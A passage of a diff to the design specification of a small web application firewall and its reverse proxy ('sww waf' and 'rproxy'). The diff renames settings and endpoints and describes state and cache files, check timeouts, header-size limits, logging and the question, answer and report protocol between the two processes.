no rule can be made to stall @@ -857,45 +2124,65 @@ and the default file. - a regex that does not compile; - a duplicate id. - So does a `SWWAF_RULES_DIR` that does not exist or cannot be read. While - running, the same faults leave the rules as they were, and the log and one - `file_error` alert name the file and line. Once the file is fixed, it is + So does a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read. + While running, the same faults leave the rules as they were, and the log and + one `file_error` alert name the file and line. Once the file is fixed, it is read again. An empty directory is not an error: the log says that no rules were loaded. - The image ships a default file, kept short and limited to patterns that are wrong for every app, with its path rules anchored at the site root. In front - of gitea, `/.env` is a probe, while + of a code forge, `/.env` is a probe, while `///src/branch/main/.env.example` is a file in a repository that any visitor may open. Anchor the paths of your own `ban` rules at the site - root too. Anything else, such as a rule banning WordPress probes in front of - gitea, belongs in a file the deployer adds to the image `servewaf` runs from, - or mounts. A rule has one target, so a `path` rule applies on every site - behind that `servewaf`. A directory mounted over `SWWAF_RULES_DIR` replaces - the default file; single files mounted into it add to it. -- Rules meant to be edited while `servewaf` runs belong in a mounted directory, - not a mounted file. Many editors save a file by replacing it, and a container - keeps seeing the old one when the file alone is mounted. The lookup database - is mounted the same way, for the same reason. To run without rule files, mount - an empty directory or set `SWWAF_RULES_ENABLED=false`. + root too. A rule has one target, so a `path` rule applies on every site behind + that `waf`. A directory mounted over `SWW_WAF_RULE_FILES_DIR` replaces the + default file; single files mounted into it add to it. +- Rules meant to be edited while `waf` runs belong in a mounted directory, not a + mounted file. Many editors save a file by replacing it, and a container keeps + seeing the old one when the file alone is mounted. The lookup database is + mounted the same way, for the same reason. To run without rule files, mount an + empty directory or set `SWW_WAF_RULE_FILES_ENABLED=false`. ## Persistent state -All state lives in memory, and the files in `SWWAF_STATE_DIR` hold a copy of it, -so an orderly stop loses nothing. The files are meant for people as well: an -admin can read or edit them at any time, and the running `servewaf` takes the -edit in. `docs/state-files.md` lists the files, what each holds, and their -sizes. +All state lives in memory, and JSON files hold a copy of it, so an orderly stop +loses nothing. The files are meant for people as well: an admin can read or edit +them at any time, and the running `waf` takes the edit in. `docs/state-files.md` +lists the files, what each holds, and their sizes. +- The state files, in `SWW_WAF_STATE_DIR`, hold what cannot be fetched again: + - `bans.json`; + - `clients.json`; + - `abuseipdb-checks-spent.json`; + - `alerts.json`. +- The cache files, in `SWW_WAF_CACHE_DIR`, hold the answers of outside services: + - `lookups.json`; + - `lists.json`; + - `dnsbl.json`; + - `abuseipdb-scores.json`; + - `routewatch.json`. +- A lost cache file costs only questions asked again, so the cache directory can + be left out of backups. - Each file holds one kind of state, as JSON with: - a top-level `version` number; - entries sorted by client address; - times in RFC 3339 UTC; + - days as `YYYY-MM-DD`; - durations and sizes as plain numbers, with the unit in the field name. -- `bans.json`, `reputation.json` and `alerts.json` are indented, so that a - person can open `bans.json` in an editor, find an address, and remove or add - an entry. `clients.json` and `lookups.json` put each entry on one line, which - halves their size and lets `grep` show everything about one client. +- These files are indented, so that a person can open `bans.json` in an editor, + find an address, and remove or add an entry: + - `bans.json`; + - `abuseipdb-checks-spent.json`; + - `alerts.json`; + - `lists.json`. +- The others put each entry on one line, which halves their size and lets `grep` + show everything about one client: + - `clients.json`; + - `lookups.json`; + - `dnsbl.json`; + - `abuseipdb-scores.json`; + - `routewatch.json`. - Clients that were never banned are kept too, so every client's history survives a restart. - Each file has a bound, so it can be rewritten whole. Writing one takes well @@ -905,12 +2192,12 @@ sizes. held up. It goes to a temporary file in the same directory, which is synced and renamed over the real name, and the directory is synced. A crash at any point leaves either the old complete file or the new complete file, never a - partial one. Before writing a file, `servewaf` takes in any edit made to it on + partial one. Before writing a file, `waf` takes in any edit made to it on disk, so an admin's edit is never overwritten. - At start, the files are read back. Active bans go into an in-memory lookup by netblock, everything else into maps. Expired cache entries are discarded. A - missing file means empty state, and is normal on first run. These stop the - process with a message naming the file and position: + missing file means empty state, and is normal on first run. In a state file, + these stop the process with a message naming the file and position: - a file that does not parse, or has an unknown `version`; - an entry without a field it needs; - a ban whose cause is not one of the four; @@ -920,30 +2207,35 @@ sizes. Since writes are atomic, a broken file can only come from a hand edit, which the editor should hear about. -- While running, `servewaf` notices a file that is edited, replaced or added. It +- A cache file never stops the start. One that does not parse is set aside as + `.bad`, as an edit is below. One that cannot be read is logged and + written over at its next write. Either way its cache starts empty and fills + again. + +- While running, `waf` notices a file that is edited, replaced or added. It tells its own writes from an admin's by comparing the file with what it last read or wrote. An edit that parses is taken in at once: what the file says - replaces what `servewaf` held for that file. An edit to `bans.json` makes, - lifts or forgets bans as "Bans" describes. A change `servewaf` made after the - admin opened the file, such as a new ban, is lost when the admin saves over - it. Most editors warn when a file changed on disk while it was open. A file - that is removed is written again at its next write. -- An edit that does not parse never stops the running `servewaf`. It keeps the - state it has and sets the edited file aside as `.bad`, so the edit is - kept. It writes the file again from memory, and names the file and the - position of the error in the log and in one `file_error` alert. The admin - mends the `.bad` file and moves it back. + replaces what `waf` held for that file. An edit to `bans.json` makes, lifts or + forgets bans as "Bans" describes. A change `waf` made after the admin opened + the file, such as a new ban, is lost when the admin saves over it. Most + editors warn when a file changed on disk while it was open. A file that is + removed is written again at its next write. +- An edit that does not parse never stops the running `waf`. It keeps the state + it has and sets the edited file aside as `.bad`, so the edit is kept. It + writes the file again from memory, and names the file and the position of the + error in the log and in one `file_error` alert. The admin mends the `.bad` + file and moves it back. - A write that fails leaves the state correct in memory. It is logged, counted in the metrics and sent as one `file_error` alert per cooldown, and retried at the next write. - A hard kill loses the changes since the last write: ban changes from the last - `SWWAF_STATE_WRITE_DELAY`, everything else from the last - `SWWAF_STATE_COUNTER_INTERVAL`. Losing the volume loses ban history, not + `SWW_WAF_BANS_WRITE_DELAY`, everything else from the last + `SWW_WAF_STATE_WRITE_INTERVAL`. Losing the volume loses ban history, not service. ## Request log -`rproxy` and `servewaf` each write request lines on stdout, one JSON object to a +`rproxy` and `waf` each write request lines on stdout, one JSON object to a line, refused requests included. "The log" says which lines a request gets, and `docs/request-log.md` lists the fields. Bodies are never logged, and no header but those listed there. Query strings are logged as received; an app that @@ -951,45 +2243,45 @@ carries secrets in query strings needs that fixed in the app. Each process's own messages (start, the settings, stop, errors) share its stream as JSON lines with `"type":"process"`; request lines carry `"type":"request"`. -When `SWWAF_LOG_REMOTE_URL` is set, every line `servewaf` writes on stdout is -also sent there as an RFC 5424 syslog record. So a deployment can stop depending -on docker's log handling while `docker logs` keeps working. `rproxy` writes its +When `SWW_WAF_LOG_REMOTE_URL` is set, every line `waf` writes on stdout is also +sent there as an RFC 5424 syslog record. So a deployment can stop depending on +docker's log handling while `docker logs` keeps working. `rproxy` writes its lines to stdout only. - Over UDP each record is one datagram; a line too long for one datagram is dropped alone. Over TCP and TLS each record follows its length in bytes and a space. UDP gives no delivery signal at all and is offered only for compatibility. -- The record carries the facility from `SWWAF_LOG_REMOTE_FACILITY`, the severity - informational, the time, the host's name and the app name from - `SWWAF_LOG_REMOTE_APP_NAME`. +- The record carries the facility from `SWW_WAF_LOG_REMOTE_FACILITY`, the + severity informational, the time, the host's name and the app name from + `SWW_WAF_LOG_REMOTE_APP_NAME`. - Sending happens on its own goroutine from a buffer of - `SWWAF_LOG_REMOTE_BUFFER` lines, so a server that is slow or down never holds - up a request and never stops stdout. When the buffer is full, the oldest line - is dropped and counted in the metrics. A failed connection is tried again a - second later, and twice as long after each further failure, up to a minute. -- As `servewaf` stops, it spends at most two seconds sending the lines still - waiting, and drops the rest; stdout has carried them. + `SWW_WAF_LOG_REMOTE_BUFFER_LINES` lines, so a server that is slow or down + never holds up a request and never stops stdout. When the buffer is full, the + oldest line is dropped and counted in the metrics. A failed connection is + tried again a second later, and twice as long after each further failure, up + to a minute. +- As `waf` stops, it spends at most two seconds sending the lines still waiting, + and drops the rest; stdout has carried them. ## Metrics endpoint -`GET /_smallwebwaf/metrics`, at `servewaf`'s own address, answers in the -Prometheus text format, for a request carrying `SWWAF_METRICS_TOKEN`. -`docs/metrics.md` lists the metrics. No metric carries a client IP address as a -label. Per-address questions are answered by the request log and -`GET /_smallwebwaf/clients/`. +`GET /_sww/metrics`, at `waf`'s own address, answers in the Prometheus text +format, for a request carrying `SWW_WAF_METRICS_TOKEN`. `docs/metrics.md` lists +the metrics. No metric carries a client IP address as a label. Per-address +questions are answered by the request log and `GET /_sww/clients/`. ## Admin endpoints -`servewaf`'s own endpoints are paths under `/_smallwebwaf/`, at its own address -on the private network. Admins and the metrics collector reach them there, and -nothing routes the internet to that address. The prefix carries the tool's name, -so it takes no path an app uses. `docs/admin-endpoints.md` lists the endpoints, -what each takes and what each answers. +`waf`'s own endpoints are paths under `/_sww/`, at its own address on the +private network. Admins and the metrics collector reach them there, and nothing +routes the internet to that address. The prefix carries the tool's name, so it +takes no path an app uses. `docs/admin-endpoints.md` lists the endpoints, what +each takes and what each answers. -- `GET /_smallwebwaf/healthz` answers `200` with `ok` to anyone, without a - token, while `servewaf` is running. -- `POST /_smallwebwaf/report` takes `rproxy`'s report, without a token (see "The +- `GET /_sww/healthz` answers `200` with `ok` to anyone, without a token, while + `waf` is running. +- `POST /_sww/report` takes `rproxy`'s report, without a token (see "The report"). - Every other endpoint needs its token, sent as `Authorization: Bearer ` (see "Tokens" under "Settings"). A missing or wrong token is answered `401`. @@ -999,27 +2291,26 @@ what each takes and what each answers. history holds them. - A ban made through the endpoints starts at once. -`rproxy` answers `GET /_smallwebwaf/healthz` itself. It never passes a path -under the prefix to the app (see "Without an answer from `servewaf`"). +`rproxy` answers `GET /_sww/healthz` itself. It never passes a path under the +prefix to the app (see "Without an answer from `waf`"). -## `servewaf` +## `waf` -`smallwebwaf servewaf` runs the checks for `smallwebwaf rproxy`, a small reverse -proxy in front of each app. `rproxy` asks `servewaf` about each visitor's -request. `servewaf` answers `rproxy` and passes nothing to an app itself. One -`servewaf` serves many sites. +`sww waf` runs the checks for `sww rproxy`, a small reverse proxy in front of +each app. `rproxy` asks `waf` about each visitor's request. `waf` answers +`rproxy` and passes nothing to an app itself. One `waf` serves many sites. This section is the agreement between the two. The header names, the fields and the statuses below are exact. -`servewaf` reads the settings, the rule files, the lookup database and the state -files, and listens at `SWWAF_LISTEN_ADDR`. On `SIGTERM` or `SIGINT` it stops -taking requests and gives those in progress five seconds to finish. It then -writes the state files. +`waf` reads the settings, the rule files, the lookup database and the state and +cache files, and listens at `SWW_WAF_LISTEN_ADDR`. On `SIGTERM` or `SIGINT` it +stops taking requests and gives those in progress five seconds to finish. It +then writes the state and cache files. ### The question -A request carrying `X-Smallwebwaf-Client` is `rproxy` asking about one visitor's +A request carrying `X-Sww-Client` is `rproxy` asking about one visitor's request. It is the visitor's request as the visitor sent it: - the method; @@ -1046,172 +2337,236 @@ comes with a `Content-Length` of the part it carries. `rproxy` sets these headers, replacing any the visitor sent, and adds no others: -- `X-Smallwebwaf-Client`: the visitor's address, which `rproxy` has worked out, - without any IPv6 zone. `servewaf` takes it as the client, and groups an IPv6 - address as "What happens to a request" says. -- `X-Smallwebwaf-Peer`: the address of `rproxy`'s own TCP peer, for the log - line's `peer_ip`. -- `X-Smallwebwaf-Content-Length`: the body length the visitor announced. It is - absent when the visitor announced none. +- `X-Sww-Client`: the visitor's address, which `rproxy` has worked out, without + any IPv6 zone. `waf` takes it as the client, and groups an IPv6 address as + "What happens to a request" says. +- `X-Sww-Peer`: the address of `rproxy`'s own TCP peer, for the log line's + `peer_ip`. +- `X-Sww-Content-Length`: the body length the visitor announced. It is absent + when the visitor announced none. - `X-Request-ID`: the request's id, which `rproxy` makes fresh for every request - when it arrives. `servewaf` takes it as given and never makes one. + when it arrives. `waf` takes it as given and never makes one. - `X-Forwarded-Proto`: the scheme. -Before any check, `servewaf` removes the three `X-Smallwebwaf-` headers. It also -sets `Content-Length` to the length the visitor announced, or removes it. So the -rule files and the Core Rule Set see the headers the visitor sent, with -`rproxy`'s `X-Request-ID` and `X-Forwarded-Proto`. +Before any check, `waf` removes the three `X-Sww-` headers. It also sets +`Content-Length` to the length the visitor announced, or removes it. So the rule +files and the Core Rule Set see the headers the visitor sent, with `rproxy`'s +`X-Request-ID` and `X-Forwarded-Proto`. -`servewaf` refuses a question with `400` when: +`waf` refuses a question with `400` when: -- `X-Smallwebwaf-Client` is not an address, or is an address with a zone, such - as `2001:db8::1%eth0`; +- `X-Sww-Client` is not an address, or is an address with a zone, such as + `2001:db8::1%eth0`; - `X-Request-ID` is absent, empty, over 128 bytes or not valid UTF-8; -- `X-Request-ID` is the id of a question `servewaf` is still handling, or of a +- `X-Request-ID` is the id of a question `waf` is still handling, or of a request it holds (see "The report"); - the body is over 64 KiB. -For a refused question, `servewaf` writes a process warning. It runs no check, -writes no request log line and counts nothing in the metrics. +For a refused question, `waf` writes a process warning. It runs no check, writes +no request log line and counts nothing in the metrics. These do not refuse a question: -- `X-Smallwebwaf-Peer` absent or not an address: the log line's `peer_ip` is +- `X-Sww-Peer` absent or not an address: the log line's `peer_ip` is `invalid IP`. -- `X-Smallwebwaf-Content-Length` not a whole number, or negative: it counts as - absent. +- `X-Sww-Content-Length` not a whole number, or negative: it counts as absent. - `X-Forwarded-Proto` absent: the log line's `scheme` is `http`. -- One of the five headers above sent more than once: `servewaf` uses its first - value. +- One of the five headers above sent more than once: `waf` uses its first value. -`servewaf` reads the whole body before any check. A question whose body stops -arriving gets no answer. `servewaf` closes the connection once the 60 seconds -below run out, or as soon as `rproxy` closes its side. It writes a process -warning, runs no check, writes no request log line and counts nothing in the -metrics. +`waf` reads the whole body before any check. A question whose body stops +arriving gets no answer. `waf` closes the connection once the 60 seconds below +run out, or as soon as `rproxy` closes its side. It writes a process warning, +runs no check, writes no request log line and counts nothing in the metrics. ### The answer -`servewaf` runs steps 3 to 13 of "What happens to a request", in that order. -Every answer but the last below carries `X-Smallwebwaf-Disposition`. +`waf` runs steps 3 to 16 of "What happens to a request", in that order, apart +from the steps that run at the same time (see "Answering in time"). Every answer +but the last below carries `X-Sww-Disposition`. -- `X-Smallwebwaf-Disposition: allow`, status `200`, no body. `rproxy` passes the - request to the app. With `SWWAF_ADD_LOOKUP_HEADERS` the answer also carries - `X-Client-ASN` and `X-Client-Country`, which `rproxy` adds to the request it - passes on. A header whose value is unknown is left out. -- `X-Smallwebwaf-Disposition: deny`, with the status, headers and body the - visitor is to get. `rproxy` gives them to the visitor, less this header. The - status is one of: - - `SWWAF_BAN_RESPONSE`, for a refusal; +- `X-Sww-Disposition: allow`, status `200`, no body. `rproxy` passes the request + to the app. While `SWW_WAF_ADD_LOOKUP_HEADERS` is `true`, the answer also + carries `X-Client-ASN` and `X-Client-Country`, which `rproxy` adds to the + request it passes on. A header whose value is unknown is left out. +- `X-Sww-Disposition: deny`, with the status, headers and body the visitor is to + get. `rproxy` gives them to the visitor, less this header. The status is one + of: + - `SWW_WAF_BAN_RESPONSE`, for a refusal; - `403`, for a `block` rule or the Core Rule Set; - - `431`, for a request over the header limits; - - `404`, for a path under `/_smallwebwaf/` that passes the checks, so that - the app never sees that prefix. -- `X-Smallwebwaf-Disposition: close`, status `200`, no body. This takes the - place of a refusal while `SWWAF_BAN_RESPONSE` is `close`. `rproxy` closes the - visitor's connection without an answer. -- No such header, status `400`, for a question `servewaf` refuses. `rproxy` - gives the visitor its status, headers and body, as it does for any answer - without a valid `X-Smallwebwaf-Disposition`. + - `414` or `431`, for a request over the header limits; + - `503`, for a request that steps 12 to 14 have not finished within 500 + milliseconds; + - `404`, for a path under `/_sww/` that passes the checks, so that the app + never sees that prefix. +- `X-Sww-Disposition: close`, status `200`, no body. This takes the place of a + refusal while `SWW_WAF_BAN_RESPONSE` is `close`. `rproxy` closes the visitor's + connection without an answer. +- No such header, status `400`, for a question `waf` refuses. `rproxy` gives the + visitor its status, headers and body, as it does for any answer without a + valid `X-Sww-Disposition`. In `observe` mode a request that `enforce` mode would refuse is answered -`allow`, and its log line has `would_action`. A path under `/_smallwebwaf/` is -still answered `404`. +`allow`, and its log line has `would_action`. A path under `/_sww/` is still +answered `404`. The Core Rule Set inspects the body a question carries only while -`SWWAF_WAF_BODY_LIMIT` is set. It inspects at most 64 KiB less one byte. So it -does not inspect a JSON or XML body of 64 KiB or more, which may have been cut -short. +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set, and at most 8 KiB of it. ### Answering in time -`rproxy` stops waiting for `servewaf` after `SWRP_TIMEOUT_MS`, by default 2 -seconds, and `SWRP_DEFAULT_DISPOSITION` then decides. So at the defaults, -`servewaf` answers a request well within that time, whatever the request and -whatever its outside sources do. +`rproxy` stops waiting for `waf` after `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, by +default 2 seconds, and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` then +decides. Two things in a decision take time: + +- the wait for GeoJS, at most `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by + default 800 milliseconds; +- the trap paths, the rule files and the Core Rule Set, which have 500 + milliseconds. + +They run at the same time, so `waf` answers within the longer of the two, well +within `rproxy`'s wait. GeoJS is the only outside source a question can wait on. A question waits only -when step 5 says so, and for at most `SWWAF_LOOKUP_TIMEOUT`, by default 800 -milliseconds. A client without an answer by then counts as unknown. No question -waits on these, which run in the background: +when step 6 says so, and for at most +`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds. A +client without an answer by then counts as unknown. The setting bounds only the +question's wait: the request to GeoJS goes on, and its answer is kept for later +questions. No question waits on these, which run in the background: - the DNS blocklists and AbuseIPDB; -- fetching the blocklists, the CrowdSec decision list and the file - `SWWAF_ASN_LIMIT_PERCENT_URL` names. +- fetching the blocklists, the tag lists and the file + `SWW_WAF_ASN_LIMIT_PERCENT_URL` names. In `enforce` mode, a question does not wait for GeoJS when it is a request: -- over the header limits; -- from a client on a fetched blocklist, while `SWWAF_BLOCKLIST_ACTION` is +- from a client on a fetched blocklist, while `SWW_WAF_BLOCKLIST_ACTION` is `deny`; -- from a client on the CrowdSec decision list; - that would take its client over a rate limit at 100% of it, since a percentage can only lower a limit. Such a request still goes through the steps in their order. Its client's AS number and country stay unknown until GeoJS has answered. So while -`SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first. -`SWWAF_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting -never lowers its limit. +`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first. +`SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` does not apply to it until then, so not +waiting never lowers its limit. -The static lists and bans come before the lookup, so they never wait. These can -still wait for GeoJS: +The header limits, the static lists and bans come before the lookup, so they +never wait. These can still wait for GeoJS: - a country list, which needs the answer; - a rate limit a percentage has lowered, which needs the answer; -- a DNS blocklist or AbuseIPDB, while `SWWAF_REPUTATION_ACTION` is `deny`; -- a trap path; -- a rule file; -- the Core Rule Set. +- a DNS blocklist or AbuseIPDB, while `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` is + `deny`. -The header limits are fixed, with no setting. `servewaf` refuses a request over -either one: +The trap paths, the rule files and the Core Rule Set, steps 12 to 14, run during +that wait. Once a request has passed the bans, the lookup starts. While it waits +for GeoJS, steps 12 to 14 run at the same time as steps 6 to 11. A lookup that +needs no wait has its answer at once, and steps 7 to 11 then run before steps 12 +to 14 start. +- The first of the two sides to refuse the request ends the checks. `waf` + answers at once, and does not wait for the other side. The lookup goes on, and + its answer is kept. +- What the other side finds leaves no trace. It counts nothing, bans nothing, + raises no alert, counts no metric and adds nothing to the log line. +- When both sides would refuse, the one that finishes first is answered and + logged. +- When neither refuses, step 15 runs. + +Steps 12 to 14 only read the request. They have 500 milliseconds together, from +their start. The limit is fixed, with no setting. A request they have not +finished by then is refused: + +- the answer is `deny`, with `503`; +- the log line's action is `checks_timed_out`, and its `heuristic` names the + step that had not finished; +- the refusal makes no ban, is no offence and does not count toward the refusal + limit; +- it holds in every `SWW_WAF_CORE_RULE_SET_MODE`; +- in `observe` mode the request is answered `allow` with `would_action`, like + every refusal. + +The limit is measured on the clock. While `waf`'s host is so busy that an +ordinary request takes 500 milliseconds, that request is refused too. + +The header limits are fixed, with no setting. A line's length is in bytes and +does not count its line ending. `waf` refuses a request whose request line is +longer than 8 KiB with `414`. An example is `GET /search?q=` followed by 30,000 +characters. + +It refuses a request with `431` for any of: + +- a header line longer than 8 KiB. Each value of a header sent twice is a line + of its own. `Host` counts as a line. - more than 50 cookies. Each part of its `Cookie` headers between semicolons counts as one, unless it is empty or only spaces and tabs. - more than 100 header fields. A header sent twice counts twice. `Host` and `Transfer-Encoding` do not count. `X-Request-ID` and `X-Forwarded-Proto` do. -Real clients never reach these limits. The answer is `deny` with `431`, and the -log line's action is `too_large`. The refusal makes no ban and is no offence. -The rate limits count the request as usual, so a client that keeps sending such -requests breaks a limit. +Real clients rarely reach these limits. nginx refuses lines over 8 KiB by +default, and Apache's default limit is about the same. The answer is `deny`. The +log line's action is `request_line_too_long` for `414` and +`request_header_too_large` for `431`. The refusal makes no ban and is no +offence. -The limits apply on every path and in every `SWWAF_WAF_MODE`. A client in -`SWWAF_ALLOW_NETS` skips them, as it skips the Core Rule Set. In `observe` mode -such a request is answered `allow` with `would_action`, and the Core Rule Set -does not read it. +The header limits are the first check after `SWW_WAF_ALLOW_NETS`. A request over +them is refused before any later check runs. So it causes no lookup, no query to +an outside source and no rule match, and the rate limits do not count it. A +client under a ban or in `SWW_WAF_DENY_NETS` also gets `414` or `431` for such a +request. -The Core Rule Set runs each of its rules on each cookie, so thousands of small -cookies would keep it busy for over a second. Within the limits, one long cookie -or query string can still keep it busy for a fraction of a second. So enough -such requests at once can overload `servewaf` past `SWRP_TIMEOUT_MS`. +The limits apply on every path and in every `SWW_WAF_CORE_RULE_SET_MODE`. A +client in `SWW_WAF_ALLOW_NETS` skips them, as it skips the Core Rule Set. In +`observe` mode such a request is answered `allow` with `would_action`, and no +other check runs on it. + +The Core Rule Set is the one check a visitor can keep busy for long. It runs +each of its rules on each part of a request, so thousands of small cookies would +keep it busy for over a second. These fixed limits bound what it reads: + +- the header limits above; +- `rproxy`'s limit of 32 KiB on the request line and headers together (see + "`rproxy`'s limits"); +- 8 KiB of a body, the most `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` takes, + or 1 KiB of a JSON body. + +Coraza names each value in a JSON body by the whole path to it, such as +`json.users.0.name`. So the names and values the Core Rule Set reads in a JSON +body can add up to more than the body. From 1 KiB of JSON, Coraza makes at most +8 KiB of them, no more than the largest body of another kind. + +A request can reach all of these at once. At paranoia level 4, with no rule +switched off, the Core Rule Set takes under a second on one core of a current +server to inspect it. `waf` refuses it if the inspection takes over 500 +milliseconds. Coraza cannot stop an inspection part-way, so the inspection runs +to its end with nobody waiting for it. These limits keep one request from +holding a processor for more than about a second. Enough such requests at once +can still overload `waf` past `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. ### The report -Once the visitor's answer has ended, `rproxy` sends `POST /_smallwebwaf/report` -for each request `servewaf` answered with `allow`, `deny` or `close`. It sends -none after: +Once the visitor's answer has ended, `rproxy` sends `POST /_sww/report` for each +request `waf` answered with `allow`, `deny` or `close`. It sends none after: -- an answer without a valid `X-Smallwebwaf-Disposition`, such as a `400`; -- an answer it cannot pass on (see "Without an answer from `servewaf`"); +- an answer without a valid `X-Sww-Disposition`, such as a `400`; +- an answer it cannot pass on (see "Without an answer from `waf`"); - no answer. -The report carries no `X-Smallwebwaf-Client`. Its body is one JSON object with -all of these fields, named as the request log's fields of the same meaning: +The report carries no `X-Sww-Client`. Its body is one JSON object with all of +these fields, named as the request log's fields of the same meaning: - `request_id`: the question's `X-Request-ID`; - `status`: what the visitor got, `0` if nothing, otherwise from `100` to `599`; - `request_bytes` and `response_bytes`: the body bytes each way, with what a WebSocket carried each way, each a whole number from `0` to `1125899906842624` (1 PiB); -- `duration_total`: milliseconds from the request's headers being read to the +- `duration_total_ms`: milliseconds from the request's headers being read to the end of the answer, from `0` to `1000000000000` (about 31 years); -- `duration_upstream_total`: milliseconds from the hand-over to the app to the - end of the answer, in the same range, and `0` for a request not passed to the - app. +- `duration_upstream_total_ms`: milliseconds from the hand-over to the app to + the end of the answer, in the same range, and `0` for a request not passed to + the app. -`servewaf` answers `400` and writes a process warning when the body: +`waf` answers `400` and writes a process warning when the body: - is not one JSON object, such as `null`, or an object followed by other data; - lacks one of these fields, or gives it as `null`; @@ -1222,48 +2577,48 @@ It answers `204` to any other report, also for a request it does not hold, which it ignores. It ignores a field not listed here. `rproxy` does not act on the answer. -For a request it holds, `servewaf` writes the request's last log line (see "The +For a request it holds, `waf` writes the request's last log line (see "The log"). For a request it allowed, it first: -- counts the bytes as `SWWAF_BYTES_COUNT` says, toward the client's byte limits - at the percentages it gave that request; -- bans a client that passes a byte limit; +- counts the body bytes `SWW_WAF_BYTES_COUNTED` names, toward the client's byte + limits at the percentages it gave that request; +- bans a client whose total passes a byte limit; - adds the request with its status to the client's history, the anomaly counters and the metrics. A denied request's counting is finished at its decision, so its report counts nothing. -`servewaf` holds each answered request until its report comes, up to 10,000 -requests. Past that, the request answered longest ago is dropped. A request -whose report never comes gets no last log line. If it was allowed, it is in -neither the client's history nor the metrics, and its bytes are not counted. +`waf` holds each answered request until its report comes, up to 10,000 requests. +Past that, the request answered longest ago is dropped. A request whose report +never comes gets no last log line. If it was allowed, it is in neither the +client's history nor the metrics, and its bytes are not counted. -`servewaf` holds only the decision's log line and what counting needs. It never -holds the request or response objects, and no `Authorization` or `Cookie`. A -report reaches only what is held, so it can never reach a question still being -handled. `servewaf` ignores a report naming such a question. +`waf` holds only the decision's log line and what counting needs. It never holds +the request or response objects, and no `Authorization` or `Cookie`. A report +reaches only what is held, so it can never reach a question still being handled. +`waf` ignores a report naming such a question. ### The log -A request `servewaf` answers with `allow`, `deny` or `close` gets three request -log lines, joined by `request_id`: +A request `waf` answers with `allow`, `deny` or `close` gets three request log +lines, joined by `request_id`: - `rproxy`'s short line; -- `servewaf`'s line at its decision; -- `servewaf`'s line when the report comes, with everything known: the decision - line's fields and the report's together. +- `waf`'s line at its decision; +- `waf`'s line when the report comes, with everything known: the decision line's + fields and the report's together. -The repetition is intended. The field `servewaf_line` says which of `servewaf`'s -two lines a line is. A request `servewaf` is not asked about, such as the health -check, gets only `rproxy`'s line. A request without a report gets no third line. +The repetition is intended. The field `waf_line` says which of `waf`'s two lines +a line is. A request `waf` is not asked about, such as the health check, gets +only `rproxy`'s line. A request without a report gets no third line. `docs/request-log.md` gives the fields. -### `servewaf`'s own endpoints +### `waf`'s own endpoints -A request without `X-Smallwebwaf-Client` is for `servewaf` itself, at its own -address on the private network. The internet must not be able to reach that -address. Its endpoints are: +A request without `X-Sww-Client` is for `waf` itself, at its own address on the +private network. The internet must not be able to reach that address. Its +endpoints are: - the health check, the metrics, and the ban and client endpoints, as `docs/admin-endpoints.md` lists them, with their tokens; @@ -1274,66 +2629,63 @@ Anything else gets `404`. No check runs on these requests, since their peers are private network can send one or ask a question. A request and its answer have 60 seconds together, from the request's headers. -`servewaf` closes a connection idle for 120 seconds. It takes a request line and +`waf` closes a connection idle for 120 seconds. It takes a request line and headers up to 1 MiB, Go's default, so that it never refuses a question for the size of a visitor's headers. ### Sites -One `servewaf` keeps one table of clients, counters and bans for every site that -asks it. A client banned through one site is refused on all of them, and its -requests on all of them count toward one set of limits. Log lines, alerts raised -by a request and ban notes name the site by its host. +One `waf` keeps one table of clients, counters and bans for every site that asks +it. A client banned through one site is refused on all of them, and its requests +on all of them count toward one set of limits. Log lines, alerts raised by a +request and ban notes name the site by its host. `docs/metrics.md` says how its metrics count. ## `rproxy` -`smallwebwaf rproxy` is the reverse proxy in front of one app. It asks -`servewaf` about each request, and passes on what `servewaf` allows. It keeps -nothing between requests and never touches disk. When `servewaf` cannot be -connected to, does not answer at all, or does not answer within -`SWRP_TIMEOUT_MS`, `SWRP_DEFAULT_DISPOSITION` decides. Its default, `allow`, -keeps the site answering. +`sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each +request, and passes on what `waf` allows. It writes nothing to disk. The only +thing it keeps between requests is its circuit breaker for asks to `waf`. +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with a +request when `waf` gives no answer in time, and while the circuit breaker is +open. Its default, `allow`, keeps the site answering. -`rproxy` reads only its `SWRP_` settings, which `docs/settings.md` lists. One of -them is required: `SWRP_WAF_BACKEND`, `servewaf`'s URL. It has no metrics, no -rule files and no state files, and it writes its lines to stdout only. The image -runs it by default (see "Deployment"). +`rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists. +One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no +metrics, no rule files and no state files, and it writes its lines to stdout +only. The image runs it by default (see "Deployment"). ### What `rproxy` does with a request -1. `GET /_smallwebwaf/healthz` is answered `ok` at once, without asking - `servewaf`. +1. `GET /_sww/healthz` is answered `ok` at once, without asking `waf`. 2. `rproxy` works out the visitor's address. It believes `X-Forwarded-For` only - from `SWRP_TRUSTED_PROXIES`, and reads it as step 2 of "What happens to a - request" says. It removes any IPv6 zone. -3. It makes a fresh request id, whatever id the request came with. `servewaf` - and the app get it as `X-Request-ID`, and `rproxy`'s log line gives it. + from `SWW_RPROXY_TRUSTED_PROXIES`, and reads it as step 2 of "What happens to + a request" says. It removes any IPv6 zone. +3. It makes a fresh request id, whatever id the request came with. `waf` and the + app get it as `X-Request-ID`, and `rproxy`'s log line gives it. 4. It refuses a request with a method it does not pass on, or one it cannot put - to `servewaf` as the visitor sent it (see "Requests `rproxy` refuses - itself"). + to `waf` as the visitor sent it (see "Requests `rproxy` refuses itself"). 5. It reads up to the 